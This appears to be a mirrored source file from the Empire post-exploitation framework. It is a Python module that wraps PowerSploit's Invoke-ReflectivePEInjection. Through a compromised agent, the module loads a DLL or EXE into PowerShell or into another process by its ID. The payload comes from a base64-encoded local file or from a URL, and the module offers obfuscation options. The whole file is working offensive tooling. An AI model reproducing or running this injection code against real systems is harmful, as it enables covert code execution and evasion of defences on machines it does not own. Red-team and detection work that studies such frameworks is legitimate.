mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
133 lines
5.1 KiB
Python
133 lines
5.1 KiB
Python
from lib.common import helpers
|
|
import base64
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Invoke-ReflectivePEInjection',
|
|
|
|
'Author': ['@JosephBialek'],
|
|
|
|
'Description': ("Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load "
|
|
"a DLL/EXE in to the PowerShell process or reflectively load a DLL in to a "
|
|
"remote process."),
|
|
|
|
'Background' : False,
|
|
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : False,
|
|
|
|
'OpsecSafe' : True,
|
|
|
|
'Language' : 'powershell',
|
|
|
|
'MinLanguageVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'ProcId' : {
|
|
'Description' : 'Process ID of the process you want to inject a Dll into.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'DllPath' : {
|
|
'Description' : '(Attacker) local path for the PE/DLL to load.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'PEUrl' : {
|
|
'Description' : 'A URL containing a DLL/EXE to load and execute.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'ExeArgs' : {
|
|
'Description' : 'Optional arguments to pass to the executable being reflectively loaded.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'ForceASLR' : {
|
|
'Description' : 'Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn\'t support ASLR.',
|
|
'Required' : True,
|
|
'Value' : 'False'
|
|
},
|
|
'ComputerName' : {
|
|
'Description' : 'Optional an array of computernames to run the script on.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
# read in the common module source code
|
|
moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-ReflectivePEInjection.ps1"
|
|
if obfuscate:
|
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
|
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
|
try:
|
|
f = open(moduleSource, 'r')
|
|
except:
|
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
return ""
|
|
|
|
moduleCode = f.read()
|
|
f.close()
|
|
|
|
script = moduleCode
|
|
|
|
scriptEnd = "\nInvoke-ReflectivePEInjection"
|
|
|
|
#check if dllpath or PEUrl is set. Both are required params in their respective parameter sets.
|
|
if self.options['DllPath']['Value'] == "" and self.options['PEUrl']['Value'] == "":
|
|
print helpers.color("[!] Please provide a PEUrl or DllPath")
|
|
return ""
|
|
for option,values in self.options.iteritems():
|
|
if option.lower() != "agent":
|
|
if option.lower() == "dllpath":
|
|
if values['Value'] != "":
|
|
try:
|
|
f = open(values['Value'], 'rb')
|
|
dllbytes = f.read()
|
|
f.close()
|
|
|
|
base64bytes = base64.b64encode(dllbytes)
|
|
scriptEnd += " -PEbase64 " + str(base64bytes)
|
|
|
|
except:
|
|
print helpers.color("[!] Error in reading/encoding dll: " + str(values['Value']))
|
|
elif values['Value'].lower() == "true":
|
|
scriptEnd += " -" + str(option)
|
|
elif values['Value'] and values['Value'] != '':
|
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
|
|
|
if obfuscate:
|
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
|
script += scriptEnd
|
|
return script
|